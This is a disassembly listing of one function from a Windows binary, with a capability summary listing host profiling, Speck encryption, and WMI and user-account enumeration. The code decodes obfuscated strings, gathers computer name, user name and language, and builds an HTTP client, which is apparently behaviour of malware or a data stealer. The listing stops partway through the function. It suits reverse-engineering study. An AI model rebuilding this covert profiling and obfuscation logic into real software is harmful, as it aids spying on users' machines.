Function at 0x140018b6a
Capabilities:
Check http status code
Connect to wmi namespace via wbemlocator
Encode data using base64
Encrypt data using speck
Get disk information
Get hostname
Get local ipv4 addresses
Get logon sessions
Get mac address on windows
Get session user name
List groups for user account
List user accounts
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x1028
call fcn.14002daef
sub rsp, rax
movaps xmmword [rsp + 0x1010], xmm13
movaps xmmword [rsp + 0x1000], xmm12
movaps xmmword [rsp + 0xff0], xmm11
movaps xmmword [rsp + 0xfe0], xmm10
movaps xmmword [rsp + 0xfd0], xmm9
movaps xmmword [rsp + 0xfc0], xmm8
movdqa xmmword [rsp + 0xfb0], xmm7
movdqa xmmword [rsp + 0xfa0], xmm6
mov edi, 0x3c
mov ecx, 0x3c
mov edx, 1
call fcn.140006f0f
mov rsi, rax
movaps xmm0, xmmword [0x1401096c0]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [0x1401096d0]
movups xmmword [rax + 0x10], xmm0
movaps xmm0, xmmword [0x1401096e0]
movups xmmword [rax + 0x20], xmm0
movabs rax, 0x7af0cd58782078f1
mov qword [rsi + 0x30], rax
mov dword [rsi + 0x38], 0x2ffbd034
mov ecx, 0x3c
mov edx, 1
call fcn.140006f0f
movaps xmm0, xmmword [0x1401096f0]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [0x140109700]
movups xmmword [rax + 0x10], xmm0
movaps xmm0, xmmword [0x140109710]
movups xmmword [rax + 0x20], xmm0
movabs rcx, 0xa81f50c4e443f84
mov qword [rax + 0x30], rcx
mov dword [rax + 0x38], 0x6da89e73
mov qword [rsp + 0x860], rax
mov qword [rsp + 0x868], rdi
mov qword [rsp + 0x870], rdi
xor ecx, ecx
cmp rcx, 0x3c
je 0x140018c86
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x140018c75
lea rdi, [rsp + 0x450]
lea rdx, [rsp + 0x860]
mov rcx, rdi
call fcn.140006f2f
cmp byte [rdi + 0x20], 2
jne case.0x14001c076.10
mov rdi, qword [rsp + 0x450]
mov rbx, qword [rsp + 0x458]
mov r14, qword [rsp + 0x460]
mov edx, 0x3c
mov rcx, rsi
call fcn.140025ee7
mov rcx, r14
call fcn.1400b14fe
mov r12, rdx
mov qword [rsp + 0xa68], rax
mov rcx, rax
mov rdx, rdi
mov qword [rsp + 0xae0], r14
mov r8, r14
call sub.msvcrt.dll_memcpy
mov rcx, rdi
mov rdx, rbx
call fcn.140025ee7
mov edi, 0x46
mov ecx, 0x46
mov edx, 1
call fcn.140006f0f
mov rsi, rax
movaps xmm0, xmmword [0x140109720]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [0x140109730]
movups xmmword [rax + 0x10], xmm0
movaps xmm0, xmmword [0x140109740]
movups xmmword [rax + 0x20], xmm0
movaps xmm0, xmmword [0x140109750]
movups xmmword [rax + 0x30], xmm0
mov dword [rax + 0x40], 0x670f4a8f
mov word [rax + 0x44], 0x29c6
mov ecx, 0x46
mov edx, 1
call fcn.140006f0f
movaps xmm0, xmmword [0x140109760]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [0x140109770]
movups xmmword [rax + 0x10], xmm0
movaps xmm0, xmmword [0x140109780]
movups xmmword [rax + 0x20], xmm0
movaps xmm0, xmmword [0x140109790]
movups xmmword [rax + 0x30], xmm0
mov dword [rax + 0x40], 0x4212ffd
mov word [rax + 0x44], 0x44a9
mov qword [rsp + 0x860], rax
mov qword [rsp + 0x868], rdi
mov qword [rsp + 0x870], rdi
xor ecx, ecx
cmp rcx, 0x46
je 0x140018dc2
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x140018db1
lea rdi, [rsp + 0x450]
lea rdx, [rsp + 0x860]
mov rcx, rdi
call fcn.140006f2f
cmp byte [rdi + 0x20], 2
jne case.0x14001c076.10
mov rdi, qword [rsp + 0x450]
mov rbx, qword [rsp + 0x458]
mov r14, qword [rsp + 0x460]
mov edx, 0x46
mov rcx, rsi
call fcn.140025ee7
mov rcx, r14
call fcn.1400b14fe
mov rsi, rax
mov r15, rdx
mov rcx, rax
mov rdx, rdi
mov r8, r14
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xae8], rsi
mov qword [rsp + 0xaf0], r15
mov qword [rsp + 0xaf8], r14
mov rcx, rdi
mov rdx, rbx
call fcn.140025ee7
mov edi, 0xa
mov ecx, 0xa
mov edx, 1
call fcn.140006f0f
mov rsi, rax
movabs rax, 0x77f820264a115e22
mov qword [rsi], rax
mov word [rsi + 8], 0x90e9
mov ecx, 0xa
mov edx, 1
call fcn.140006f0f
movabs rcx, 0x24ad7f750f5d1764
mov qword [rax], rcx
mov word [rax + 8], 0xc2ac
mov qword [rsp + 0x860], rax
mov qword [rsp + 0x868], rdi
mov qword [rsp + 0x870], rdi
xor ecx, ecx
cmp rcx, 0xa
je 0x140018ebf
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x140018eae
mov qword [rsp + 0xad8], r12
lea rdi, [rsp + 0x450]
lea rdx, [rsp + 0x860]
mov rcx, rdi
call fcn.140006f2f
cmp byte [rdi + 0x20], 2
jne case.0x14001c076.10
mov rdi, qword [rsp + 0x450]
mov rbx, qword [rsp + 0x458]
mov r14, qword [rsp + 0x460]
mov r12d, 0xa
mov edx, 0xa
mov rcx, rsi
call fcn.140025ee7
mov rcx, r14
call fcn.1400b14fe
mov rsi, rax
mov r15, rdx
mov rcx, rax
mov rdx, rdi
mov r8, r14
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xb48], rsi
mov qword [rsp + 0xb50], r15
mov qword [rsp + 0xb58], r14
mov rcx, rdi
mov rdx, rbx
call fcn.140025ee7
mov ecx, 0xa
mov edx, 1
call fcn.140006f0f
mov rsi, rax
movabs rax, 0x1081364f8b3594b4
mov qword [rsi], rax
mov word [rsi + 8], 0x5daa
mov ecx, 0xa
mov edx, 1
call fcn.140006f0f
movabs rcx, 0x51d1691cce79ddf2
mov qword [rax], rcx
mov word [rax + 8], 0xef9
mov qword [rsp + 0x860], rax
mov qword [rsp + 0x868], r12
mov qword [rsp + 0x870], r12
xor ecx, ecx
cmp rcx, 0xa
je 0x140018fc5
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x140018fb4
lea rdi, [rsp + 0x450]
lea rdx, [rsp + 0x860]
mov rcx, rdi
call fcn.140006f2f
cmp byte [rdi + 0x20], 2
jne case.0x14001c076.10
mov rdi, qword [rsp + 0x450]
mov rbx, qword [rsp + 0x458]
mov r14, qword [rsp + 0x460]
mov edx, 0xa
mov rcx, rsi
call fcn.140025ee7
mov rcx, r14
call fcn.1400b14fe
mov rsi, rax
mov r15, rdx
mov rcx, rax
mov rdx, rdi
mov r8, r14
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xb60], rsi
mov qword [rsp + 0xb68], r15
mov qword [rsp + 0xb70], r14
mov rcx, rdi
mov rdx, rbx
call fcn.140025ee7
mov qword [rsp + 0x800], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x808], xmm0
mov ecx, 0xa
mov dl, 1
call fcn.140025f10
mov qword [rsp + 0x450], rax
mov qword [rsp + 0x458], rdx
mov qword [rsp + 0x460], 0xa
mov byte [rax], 0x1f
mov rax, qword [rsp + 0x460]
cmp rax, 1
jbe case.0x14001c076.10
mov rcx, qword [rsp + 0x450]
mov byte [rcx + 1], 0x8b
cmp rax, 2
je case.0x14001c076.10
mov byte [rcx + 2], 8
cmp rax, 3
jbe case.0x14001c076.10
mov byte [rcx + 3], 0
cmp rax, 4
je case.0x14001c076.10
mov byte [rcx + 4], 0
cmp rax, 5
jbe case.0x14001c076.10
mov byte [rcx + 5], 0
cmp rax, 6
je case.0x14001c076.10
mov byte [rcx + 6], 0
cmp rax, 7
jbe case.0x14001c076.10
mov byte [rcx + 7], 0
cmp rax, 8
je case.0x14001c076.10
mov byte [rcx + 8], 4
cmp rax, 9
jbe case.0x14001c076.10
mov byte [rcx + 9], 0xff
mov rax, qword [rsp + 0x460]
lea rbx, [rsp + 0x860]
mov qword [rbx + 0x10], rax
movups xmm0, xmmword [rsp + 0x450]
movaps xmmword [rbx], xmm0
lea rcx, [rsp + 0xf40]
xor r15d, r15d
mov edx, 1
xor r8d, r8d
call fcn.14003c909
mov ecx, 0x8000
xor edx, edx
call fcn.140025f10
mov rsi, rax
mov rdi, rdx
lea r14, [rsp + 0xf28]
mov rcx, r14
call fcn.140035699
and dword [r14 + 0x10], 0
mov qword [r14 + 0x30], rsi
mov qword [r14 + 0x38], rdi
and qword [r14 + 0x40], 0
lea rax, [rsp + 0x800]
mov qword [r14 + 0x48], rax
and qword [r14 + 0x50], 0
and qword [r14 + 0x70], 0
movaps xmm0, xmmword [rbx]
movups xmmword [r14 + 0x58], xmm0
mov rax, qword [rbx + 0x10]
mov qword [r14 + 0x68], rax
lea rax, [rsp + 0xb90]
mov ecx, 0xf
mov rdi, rax
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
and word [rax + 0x78], 0
mov byte [rax + 0x7a], 0
and dword [rbx], 0
xor ecx, ecx
xor edx, edx
mov r8, rbx
call sub.kernel32.dll_GetComputerNameExW
mov ecx, dword [rbx]
xor edx, edx
call fcn.1400afcb4
mov rdi, rax
mov rsi, rdx
mov rax, rdx
shr rax, 0x20
neg rax
sbb r15d, r15d
or r15d, esi
mov dword [rbx], r15d
xor ecx, ecx
mov rdx, rdi
mov r8, rbx
call sub.kernel32.dll_GetComputerNameExW
test eax, eax
jne 0x14001924e
mov ecx, 9
call fcn.1400b14fe
movabs rcx, 0x736f686c61636f6c
mov qword [rax], rcx
mov byte [rax + 8], 0x74
mov qword [rsp + 0x450], rax
mov qword [rsp + 0x458], rdx
mov qword [rsp + 0x460], 9
mov byte [rsp + 0x468], 1
jmp 0x140019266
mov r8d, dword [rsp + 0x860]
lea rcx, [rsp + 0x450]
mov rdx, rdi
call fcn.1400b0bc4
mov rcx, rdi
mov rdx, rsi
call fcn.1400b1675
lea rsi, [rsp + 0x860]
lea rdx, [rsp + 0x450]
mov rcx, rsi
call fcn.1400d58a0
mov rax, qword [rsi]
mov rcx, qword [rsi + 0x10]
xor edx, edx
cmp rcx, rdx
je 0x1400192b7
mov r8b, byte [rax + rdx]
lea r9d, [r8 - 0x41]
cmp r9b, 0x1a
setb r9b
shl r9b, 5
or r9b, r8b
mov byte [rax + rdx], r9b
inc rdx
jmp 0x140019292
lea rdx, [rsp + 0x860]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0xac0], rax
movups xmm0, xmmword [rdx]
movaps xmmword [rsp + 0xab0], xmm0
and dword [rdx], 0
xor r14d, r14d
xor ecx, ecx
call sub.advapi32.dll_GetUserNameW
test eax, eax
jne case.0x14001c076.10
lea rbx, [rsp + 0x860]
mov ecx, dword [rbx]
xor edx, edx
call fcn.1400afcb4
mov rdi, rax
mov rsi, rdx
mov rax, rdx
shr rax, 0x20
neg rax
sbb r14d, r14d
or r14d, esi
mov dword [rbx], r14d
mov rcx, rdi
mov rdx, rbx
call sub.advapi32.dll_GetUserNameW
test eax, eax
jne 0x140019361
mov ecx, 7
call fcn.1400b14fe
mov dword [rax], 0x6e6b6e75
mov dword [rax + 3], 0x6e776f6e
mov qword [rsp + 0x450], rax
mov qword [rsp + 0x458], rdx
mov qword [rsp + 0x460], 7
mov byte [rsp + 0x468], 1
jmp 0x140019386
mov r8d, dword [rsp + 0x860]
test r8, r8
jne 0x140019373
xor r8d, r8d
jmp 0x140019376
dec r8
lea rcx, [rsp + 0x450]
mov rdx, rdi
call fcn.1400b0bc4
mov rcx, rdi
mov rdx, rsi
call fcn.1400b1675
lea rcx, [rsp + 0xb30]
lea rdx, [rsp + 0x450]
call fcn.1400d58a0
lea rdx, [rsp + 0x230]
and dword [rdx], 0
lea r9, [rsp + 0x150]
and dword [r9], 0
mov ecx, 8
xor r8d, r8d
call sub.kernel32.dll_GetUserPreferredUILanguages
test eax, eax
je case.0x14001c076.10
lea rsi, [rsp + 0x150]
mov ecx, dword [rsi]
xor edx, edx
call fcn.1400afcb4
mov rbx, rax
mov r14, rdx
lea rdx, [rsp + 0x230]
mov ecx, 8
mov r8, rax
mov r9, rsi
call sub.kernel32.dll_GetUserPreferredUILanguages
test eax, eax
je case.0x14001c076.10
mov ecx, dword [rsp + 0x150]
test rcx, rcx
jne 0x140019419
xor eax, eax
jmp 0x140019427
lea rdx, [rcx - 2]
xor eax, eax
cmp rcx, 1
cmovne rax, rdx
lea rax, [rbx + rax*2]
lea rdx, [rsp + 0x450]
mov qword [rdx], rbx
mov qword [rdx + 8], rax
and word [rdx + 0x10], 0
lea rdi, [rsp + 0x1a0]
mov rcx, rdi
call fcn.1400263f0
lea rdx, [rsp + 0x860]
and qword [rdx], 0
mov rsi, qword [rdi]
mov rax, qword [rdi + 0x10]
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rsi
mov qword [rdx + 0x18], rax
and qword [rdx + 0x20], 0
mov qword [rdx + 0x28], rax
mov qword [rdx + 0x30], 1
and qword [rdx + 0x38], 0
mov word [rdx + 0x40], 1
lea rdi, [rsp + 0x450]
mov rcx, rdi
call fcn.140001540
xor eax, eax
cmp qword [rdi], rax
jne 0x1400194b6
xorps xmm0, xmm0
movaps xmmword [rsp + 0x290], xmm0
mov edi, 8
jmp 0x1400195b1
mov qword [rsp + 0x60], r14
call fcn.1400d707a
mov r12, rax
lea r15, [rsp + 0x450]
movups xmm0, xmmword [r15]
movups xmmword [rax], xmm0
mov rax, qword [r15 + 0x10]
mov qword [r12 + 0x10], rax
lea r13, [rsp + 0xc8]
mov qword [r13 - 8], r12
mov qword [r13], 4
mov qword [r13 + 8], 1
lea rsi, [rsp + 0x860]
mov ecx, 9
mov rdi, r15
rep movsq qword [rdi], qword [rsi]
mov ebp, 1
mov r14d, 0x18
lea rsi, [rsp + 0x290]
lea rdi, [rsp + 0xc0]
mov rcx, rsi
mov rdx, r15
call fcn.140001540
cmp qword [rsp + 0x290], 0
je 0x140019580
cmp rbp, qword [rsp + 0xc8]
jne 0x140019555
mov rcx, rdi
call fcn.1400d70a1
mov r12, qword [rsp + 0xc0]
movups xmm0, xmmword [rsp + 0x290]
mov rax, qword [rsp + 0x2a0]
mov qword [r12 + r14 + 0x10], rax
movups xmmword [r12 + r14], xmm0
inc rbp
mov qword [rsp + 0xd0], rbp
add r14, 0x18
jmp 0x140019525
mov rdx, qword [rsp + 0x298]
xor ecx, ecx
call fcn.1400cd523
mov rdi, qword [rsp + 0xc0]
movups xmm0, xmmword [r13]
movaps xmmword [rsp + 0x290], xmm0
mov rsi, qword [rsp + 0x1a0]
mov r14, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x1a8]
mov rcx, rsi
call fcn.140025ee7
movaps xmm0, xmmword [rsp + 0x290]
movaps xmmword [rsp + 0x1a0], xmm0
mov rcx, rbx
mov rdx, r14
call fcn.1400b1675
lea rdx, [rsp + 0x860]
mov qword [rdx], rdi
movaps xmm0, xmmword [rsp + 0x1a0]
movups xmmword [rdx + 8], xmm0
and qword [rdx + 0x18], 0
lea rsi, [rsp + 0x450]
mov rcx, rsi
call fcn.1400d5940
cmp qword [rsi], 0
jne 0x140019637
mov qword [rsp + 0x290], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x298], xmm0
lea rcx, [rsp + 0x860]
call fcn.140005b58
jmp 0x140019732
call fcn.1400d707a
mov rdi, rax
lea rsi, [rsp + 0x450]
movups xmm0, xmmword [rsi]
movups xmmword [rax], xmm0
mov rax, qword [rsi + 0x10]
mov qword [rdi + 0x10], rax
lea rbx, [rsp + 0xc0]
mov qword [rbx], rdi
mov qword [rbx + 8], 4
mov qword [rbx + 0x10], 1
movups xmm0, xmmword [rsp + 0x860]
movups xmm1, xmmword [rsp + 0x870]
movaps xmmword [rsi + 0x10], xmm1
movaps xmmword [rsi], xmm0
mov r15d, 1
mov r12d, 0x18
lea r14, [rsp + 0x290]
mov rcx, r14
mov rdx, rsi
call fcn.1400d5940
cmp qword [rsp + 0x290], 0
je 0x1400196f6
cmp r15, qword [rsp + 0xc8]
jne 0x1400196cb
mov rcx, rbx
call fcn.1400d70a1
mov rdi, qword [rsp + 0xc0]
movups xmm0, xmmword [rsp + 0x290]
mov rax, qword [rsp + 0x2a0]
mov qword [rdi + r12 + 0x10], rax
movups xmmword [rdi + r12], xmm0
inc r15
mov qword [rsp + 0xd0], r15
add r12, 0x18
jmp 0x14001969b
mov rdx, qword [rsp + 0x298]
xor ecx, ecx
call fcn.1400cd523
lea rcx, [rsp + 0x450]
call fcn.140005b58
movups xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x290], xmm0
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x2a0], rax
lea rsi, [rsp + 0x290]
lea rax, [rsp + 0xc0]
mov qword [rax], rsi
lea rcx, [0x14018edf8]
lea rdx, [rsp + 0x450]
mov qword [rdx], rcx
mov ecx, 1
mov qword [rdx + 8], rcx
and qword [rdx + 0x20], 0
lea r8, [0x1400a581e]
mov qword [rax + 8], r8
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], rcx
lea rdi, [rsp + 0x860]
mov rcx, rdi
call fcn.140006e4c
mov rcx, rsi
call fcn.140005b58
movups xmm0, xmmword [rdi]
movaps xmmword [rsp + 0xb10], xmm0
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0xb20], rax
call fcn.1400b7b74
shl rdx, 0x20
mov ecx, eax
or rcx, rdx
movabs r9, 0x19db1ded53e8000
mov rdx, rcx
sub rdx, r9
neg rdx
movabs rax, 0xfe624e212ac18000
add rax, rcx
cmp rcx, r9
cmovl rax, rdx
mov r8d, 0x989680
xor edx, edx
div r8
imul ebp, edx, 0x64
cmp rcx, r9
jge 0x14001980e
mov rcx, rax
neg rcx
mov r8d, 0x3b9aca00
sub r8d, ebp
test edx, edx
cmove r8d, edx
not rax
cmove rax, rcx
mov ebp, r8d
mov r12d, 0x15180
cqo
idiv r12
add r12, rdx
test rdx, rdx
cmovns r12, rdx
sar rdx, 0x3f
add eax, edx
add eax, 0xafaa8
mov ecx, 0x23ab1
cdq
idiv ecx
mov edi, eax
mov esi, edx
add ecx, edx
test edx, edx
cmovns ecx, edx
call fcn.1400292e7
cmp eax, 0x190
jae case.0x14001c076.10
sar esi, 0x1f
add esi, edi
mov ecx, eax
lea r8, [0x14010e931]
mov r8b, byte [rcx + r8]
imul ecx, esi, 0x190
add ecx, eax
call fcn.140029334
mov ecx, eax
mov dword [rsp + 0xa34], edx
cmp ebp, 0x3b9aca00
setae r8b
mov r9d, 0x3c
mov eax, r12d
xor edx, edx
div r9d
cmp edx, 0x3b
setne al
test r8b, al
jne case.0x14001c076.10
cmp ecx, 1
jne case.0x14001c076.10
lea rbx, [rsp + 0x450]
mov edx, 2
mov rcx, rbx
call fcn.14004b601
pxor xmm6, xmm6
lea rdi, [rsp + 0x1a0]
movdqa xmmword [rdi + 0x10], xmm6
movdqa xmmword [rdi], xmm6
lea rdx, [0x1401646e8]
lea r14, [rsp + 0x290]
mov r8d, 3
mov rcx, r14
call fcn.1400824cb
lea rsi, [rsp + 0xc0]
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
mov r9, r14
call fcn.140051bc3
mov rcx, rsi
call fcn.14006a8f3
lea rdi, [rsp + 0x860]
mov ecx, 0xc
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
call fcn.1400709ea
mov qword [rsp + 0x60], rax
mov r13, rdx
xor r15d, r15d
xor ecx, ecx
call fcn.1400a5a05
mov rsi, rax
movdqu xmmword [rbx + 7], xmm6
movups xmm0, xmmword [rbx]
movaps xmmword [r14], xmm0
mov rax, qword [rbx + 0xf]
mov qword [r14 + 0xf], rax
mov ecx, 0x200
mov edx, pe_nt_image_headers64
call fcn.14006565d
mov rbx, rax
mov edi, 1
mov qword [rax], rdi
mov qword [rax + 8], rdi
mov qword [rax + 0x80], rsi
and qword [rax + 0x88], 0
movdqa xmmword [rax + 0x100], xmm6
and qword [rax + 0x110], 0
mov qword [rax + 0x180], rsi
mov qword [rax + 0x188], rsi
and qword [rax + 0x190], 0
mov byte [rax + 0x198], r15b
and qword [rax + 0x1a0], 0
mov byte [rax + 0x1a8], r15b
movaps xmm0, xmmword [r14]
movups xmmword [rax + 0x1a9], xmm0
mov rax, qword [r14 + 0xf]
mov qword [rbx + 0x1b8], rax
movdqa xmmword [rbx + 0x1c0], xmm6
mov qword [rbx + 0x1d0], rdi
lock inc qword [rbx]
jle case.0x14001c076.10
mov qword [rsp + 0xb00], rbx
mov ecx, 0x48
mov edx, 8
call fcn.14006565d
mov qword [rax], rdi
mov qword [rax + 8], rdi
and qword [rax + 0x10], 0
and qword [rax + 0x40], 0
lock inc qword [rax]
jle case.0x14001c076.10
mov r14, rax
mov dword [rsp + 0xa30], ebp
lea rdi, [rsp + 0x450]
and qword [rdi + 0x10], 0
mov qword [rsp + 0xb08], rax
and qword [rdi], 0
mov ecx, 0x1d
call fcn.1400b14fe
movups xmm0, xmmword [str.reqwest_internal_sync_runtime]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x140164915]
movups xmmword [rax + 0xd], xmm0
lea r8, [rsp + 0xc0]
mov qword [r8], rax
mov qword [r8 + 8], rdx
mov qword [r8 + 0x10], 0x1d
lea rsi, [rsp + 0x290]
mov rcx, rsi
mov rdx, rdi
call fcn.1400b4070
movups xmm0, xmmword [rsp + 0x230]
movaps xmmword [rsp + 0x1a0], xmm0
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x7f0]
mov qword [rsp + 0x820], rax
mov eax, dword [rsp + 0x7f8]
mov dword [rsp + 0x828], eax
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0xa80], rax
mov eax, dword [rsp + 0x278]
mov dword [rsp + 0xa88], eax
mov rax, qword [rsp + 0xa38]
mov qword [rsp + 0x218], rax
mov eax, dword [rsp + 0xa40]
mov dword [rsp + 0x220], eax
mov eax, dword [rsp + 0x408]
mov dword [rsp + 0xa50], eax
mov rax, qword [rsp + 0x400]
mov qword [rsp + 0xa48], rax
mov eax, dword [rsp + 0xaac]
mov dword [rsp + 0x3f8], eax
mov rax, qword [rsp + 0xaa4]
mov qword [rsp + 0x3f0], rax
mov rdi, qword [rsi + 0x10]
xor eax, eax
cmp qword [rsi], rax
jne 0x140019b53
call fcn.1400b40c7
mov rbp, rax
jmp 0x140019b5b
mov rbp, qword [rsp + 0x298]
test rdi, rdi
jne 0x140019b64
xor ecx, ecx
jmp 0x140019ba8
lea rax, [rsp + 0x2a8]
lea rdx, [rsp + 0xc0]
mov qword [rdx], rdi
movups xmm0, xmmword [rax]
movups xmmword [rdx + 8], xmm0
lea rsi, [rsp + 0x450]
mov rcx, rsi
call fcn.1400b2bcb
cmp qword [rsi], 0
jne case.0x14001c076.10
mov rcx, qword [rsp + 0x458]
mov rdx, qword [rsp + 0x460]
call fcn.1400b286d
mov qword [rsp + 0xa78], rax
lock inc qword [rax]
jle case.0x14001c076.10
mov rsi, rax
mov qword [rsp + 0xad0], r12
mov ecx, 0x30
mov edx, 8
call fcn.14006565d
mov rdi, rax
mov eax, 1
mov qword [rdi], rax
mov qword [rdi + 8], rax
xorps xmm0, xmm0
movups xmmword [rdi + 0x10], xmm0
mov qword [rsp + 0xc0], rdi
lock inc qword [rdi]
jle case.0x14001c076.10
xor ecx, ecx
call fcn.1400b416b
mov r12, rax
test rax, rax
jne 0x140019c14
xor ecx, ecx
jmp 0x140019c22
lock inc qword [r12]
jle case.0x14001c076.10
mov rcx, r12
call fcn.1400b416b
mov r15, rdi
add r15, 0x10
lea rcx, [rsp + 0x450]
mov qword [rcx], rax
call fcn.1400c64c8
mov rcx, qword [r15]
test rcx, rcx
je 0x140019c4f
add rcx, 0x10
call fcn.1400b401f
mov r15d, 8
mov ecx, 0x1f0
mov edx, 8
call fcn.14006565d
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], r12
lea rdi, [rax + 0x18]
lea rsi, [rsp + 0x860]
mov ecx, 0xc
rep movsq qword [rdi], qword [rsi]
mov ecx, 2
mov qword [rax + 0x78], rcx
mov qword [rax + 0x88], 1
mov qword [rax + 0x90], 0xa
mov qword [rax + 0xa0], rcx
movaps xmm0, xmmword [rsp + 0x1a0]
movups xmmword [rax + 0xa8], xmm0
mov rcx, qword [rsp + 0x1b0]
mov qword [rax + 0xb8], rcx
and dword [rax + 0xc0], 0
and dword [rax + 0xc8], 0
and dword [rax + 0xd0], 0
mov rcx, qword [rsp + 0x820]
mov qword [rax + 0xd4], rcx
mov ecx, dword [rsp + 0x828]
mov dword [rax + 0xdc], ecx
mov ecx, 0x3b9aca00
mov dword [rax + 0xe0], ecx
mov qword [rax + 0xe8], 0x5a
and dword [rax + 0xf0], 0
mov rdx, qword [rsp + 0xa80]
mov qword [rax + 0xf4], rdx
mov edx, dword [rsp + 0xa88]
mov dword [rax + 0xfc], edx
mov dword [rax + 0x100], ecx
mov edx, dword [rsp + 0x220]
mov dword [rax + 0x10c], edx
mov rdx, qword [rsp + 0x218]
mov qword [rax + 0x104], rdx
mov dword [rax + 0x110], ecx
mov edx, dword [rsp + 0xa50]
mov dword [rax + 0x11c], edx
mov rdx, qword [rsp + 0xa48]
mov qword [rax + 0x114], rdx
mov dword [rax + 0x120], ecx
mov edx, dword [rsp + 0x3f8]
mov dword [rax + 0x12c], edx
mov rdx, qword [rsp + 0x3f0]
mov qword [rax + 0x124], rdx
mov dword [rax + 0x130], ecx
mov qword [rax + 0x138], r15
xorps xmm0, xmm0
movups xmmword [rax + 0x140], xmm0
mov qword [rax + 0x150], r15
movups xmmword [rax + 0x158], xmm0
movdqu xmm6, xmmword [0x14016b980]
movdqu xmmword [rax + 0x168], xmm6
movdqu xmm7, xmmword [0x14016b990]
movdqu xmmword [rax + 0x178], xmm7
mov rcx, qword [rsp + 0x60]
mov qword [rax + 0x188], rcx
mov qword [rax + 0x190], r13
or qword [rax + 0x198], 0xffffffffffffffff
movups xmmword [rax + 0x1a0], xmm0
mov dword [rax + 0x1b8], 0x10001
mov word [rax + 0x1bc], 0x101
mov byte [rax + 0x1be], 1
and qword [rax + 0x1bf], 0
mov dword [rax + 0x1c7], 0x2000001
mov byte [rax + 0x1cb], 2
movups xmm0, xmmword [rsp + 0x410]
movups xmmword [rax + 0x1cc], xmm0
mov word [rax + 0x1dc], 0x404
mov qword [rax + 0x1e0], rbx
mov qword [rax + 0x1e8], r14
lea r8, str._W_n_
mov rcx, rbp
mov rdx, rax
call fcn.1400b41af
mov rsi, rdx
test rax, rax
jne 0x1400257c5
mov rax, qword [rsp + 0xa78]
mov rcx, qword [rsp + 0xc0]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], rcx
mov qword [rsp + 0x160], rsi
call fcn.1400b3499
mov rcx, rax
call fcn.1400a5bfc
add rax, 0x10
lea r15, str._aS_t_
lea rsi, [rsp + 0x450]
mov qword [rsi], r15
mov qword [rsi + 8], rax
mov qword [rsp + 0x290], r14
test r14, r14
je case.0x14001c076.10
mov rcx, rsi
call fcn.1400658c2
mov ebp, eax
test bpl, 1
jne 0x140019f94
mov edi, ebp
shr edi, 0x10
mov r12, qword [r14 + 0x40]
test r12b, 2
jne 0x140019fac
test r12b, 4
jne 0x140024f3c
test r12b, 1
je 0x140019f2d
mov rcx, qword [r14 + 0x30]
mov rdx, qword [r14 + 0x38]
mov r8, qword [rsp + 0x450]
mov r9, qword [rsp + 0x458]
call fcn.1400c6c96
test al, al
je 0x140019f35
test r12b, 1
je 0x140019f57
jmp 0x140019f88
mov rax, qword [r14 + 0x40]
mov rcx, rax
and rcx, 0xfffffffffffffffe
lock cmpxchg qword [r14 + 0x40], rcx
jne 0x140019f39
test al, 2
jne 0x140019fa6
mov rax, qword [r14 + 0x30]
mov rcx, qword [r14 + 0x38]
call qword [rax + 0x18]
mov rax, qword [rsp + 0x450]
mov rcx, qword [rsp + 0x458]
call qword [rax]
mov qword [r14 + 0x30], rax
mov qword [r14 + 0x38], rdx
mov rax, qword [r14 + 0x40]
mov rcx, rax
or rcx, 1
lock cmpxchg qword [r14 + 0x40], rcx
jne 0x140019f75
test al, 2
jne 0x140019fac
shr ebp, 8
mov ecx, ebp
mov edx, edi
call fcn.1400c6c6e
call fcn.1400b34ef
mov r14, qword [rsp + 0x290]
jmp 0x140019ecc
lock or qword [r14 + 0x40], 1
mov r12, qword [r14 + 0x18]
mov rsi, qword [r14 + 0x10]
and qword [r14 + 0x10], 0
xor ecx, ecx
mov edx, edi
call fcn.1400c6c6e
test rsi, rsi
je 0x140024f45
lea rsi, [rsp + 0x290]
mov rcx, rsi
call fcn.140094e09
and qword [rsi], 0
mov rcx, rsi
call fcn.1400a5c29
mov rax, qword [rsp + 0x450]
mov rcx, qword [rsp + 0x458]
call qword [rax + 0x18]
test r12, r12
jne 0x1400257f6
mov ecx, 0x30
mov edx, 8
call fcn.14006565d
mov ecx, 1
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rbx
mov rcx, qword [rsp + 0x160]
mov qword [rax + 0x28], rcx
movups xmm0, xmmword [rsp + 0x150]
movups xmmword [rax + 0x18], xmm0
mov qword [rsp + 0xa48], rax
mov qword [rsp + 0xa50], 0x1e
and dword [rsp + 0xa58], 0
mov esi, 0x11
mov ecx, 0x11
mov edx, 1
call fcn.140006f0f
mov rdi, rax
movaps xmm0, xmmword [0x1401097a0]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x2b
